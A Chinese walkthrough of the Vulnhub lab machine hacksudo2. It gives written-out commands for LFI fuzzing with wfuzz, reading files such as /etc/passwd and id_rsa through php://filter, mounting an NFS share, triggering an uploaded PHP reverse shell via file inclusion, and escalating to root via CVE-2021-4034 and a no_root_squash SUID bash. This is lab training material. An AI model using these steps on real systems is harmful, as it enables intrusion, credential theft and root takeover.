Vulnhub靶机:hacksudo2 (HackDudo)

一、介绍

运行环境:Virtualbox

攻击机:kali(10.0.2.15)

靶机:hacksudo2 (HackDudo)(10.0.2.44)

目标:获取靶机root权限和flag

靶机下载地址:https://download.vulnhub.com/hacksudo/hackdudo2.rar

二、信息收集

使用nmap主机发现靶机ip:10.0.2.44

在这里插入图片描述

使用nmap端口扫描发现,靶机开放端口:80、111、1337、2049、37205、45247、56943、60739

在这里插入图片描述

80端口:打开网站未发现可利用的功能点,查看源码也没有发现隐藏信息

在这里插入图片描述

直接使用dirsearch工具进行目录爆破

在这里插入图片描述

将爆破得到的目录和文件一个个访问,发现file.php、info.php两个文件比较可疑

在这里插入图片描述

在这里插入图片描述

根据网页上的提示,使用wfuzz工具探测,看看file.php文件是否存在文件包含LFI

wfuzz -w /usr/share/wordlists/wfuzz/general/common.txt http://10.0.2.44/file.php?FUZZ=/etc/passwd

在这里插入图片描述

发现一个参数file,浏览器访问,成功回显passwd文件内容

在这里插入图片描述

2049端口:根据nmap扫描分析2049端口开放了NFS服务,尝试查看靶机利用NFS共享的全部文件夹,发现开放/mnt/nfs文件夹

showmount -e 10.0.2.44

在这里插入图片描述

在攻击机上面创建一个文件夹/tmp/,将靶机上的共享文件挂载到该文件上面。

mount -t nfs 10.0.2.44:/mnt/nfs tmp -o nolock

在挂载成功之后我们可以通过df -h命令查看所有的本地磁盘的信息

在这里插入图片描述

查看共享文件夹里面的文件,发现flag1.txt

在这里插入图片描述

三、漏洞利用

利用文件包含漏洞读取靶机上的文件,看看有没有可利用的信息。直接读取文件,但大多数时候很多信息无法直接显示在浏览器页面上,可以将文件内容进行base64编码后显示在浏览器上,再自行解码。

http://10.0.2.44/file.php?=php://filter/convert.base64-encode/resource=file.php
尝试读取:
/home/hacksudo/.bash_history
/home/hacksudo/.bash_logout
/home/hacksudo/.bashrc
/home/hacksudo/.ssh/id_rsa

读取均未发现什么可利用的信息

想到2049端口开放了NFS服务,我们可以直接将反弹shell脚本上传到共享文件夹,然后使用文件包含漏洞包含上传的shell,反弹shell

在这里插入图片描述

访问上传的webshell,反弹shell

http://10.0.2.44/file.php?file=/mnt/nfs/php-reverse-shell.php

在这里插入图片描述

获取交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

在这里插入图片描述

四、提权

方法一:

查看靶机是否存在特权文件,或可利用的具有root权限的文件,发现/usr/libexec/polkit-agent-helper-1文件

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

该版本的polkit存在提权漏洞CVE-2021-4034,因为靶机没有gcc环境,可以上传已经编译好的exp(因为靶机和本机运行库的版本存在很大差异,如果直接在本机编译,在靶机运行会报错,所以我是在另一个已经攻克的靶机里面进行编译的)

在这里插入图片描述

执行exp,获得root权限

在这里插入图片描述

方法二:

当服务器中存在NFS共享,且开启了no_root_squash选项时,这时如果客户端使用的是root用户,那么对于共享目录来说,该客户端就有root权限,可以使用它来提升权限。

使用攻击者本地root权限创建Suid shell。

cp /bin/bash shell
chmod u+s shell

在这里插入图片描述

回到要提权的服务器上,使用普通用户使用shell -p来获取root权限。

在这里插入图片描述

发现报错,可能是靶机的bash环境和本地的bash环境版本问题导致的

在这里插入图片描述
在这里插入图片描述

我们找到一个合适版本的bash,再次尝试,提权成功

在这里插入图片描述
在这里插入图片描述

获取flag

在这里插入图片描述

相关推荐

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-02-04 17:56:01       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-02-04 17:56:01       106 阅读
  3. 在Django里面运行非项目文件

    2024-02-04 17:56:01       87 阅读
  4. Python语言-面向对象

    2024-02-04 17:56:01       96 阅读

热门阅读

  1. windows下docker的使用

    2024-02-04 17:56:01       50 阅读
  2. 如何选择Centos的替代者

    2024-02-04 17:56:01       48 阅读
  3. docker内的资源隔离的linux实现

    2024-02-04 17:56:01       50 阅读
  4. Docker 常用命令详细介绍

    2024-02-04 17:56:01       48 阅读
  5. LeetCode 每日一题 2024/1/29-2024/2/4

    2024-02-04 17:56:01       47 阅读
  6. C#面:简述什么叫应用程序域

    2024-02-04 17:56:01       51 阅读
  7. 蓝桥杯经典 年号字串

    2024-02-04 17:56:01       49 阅读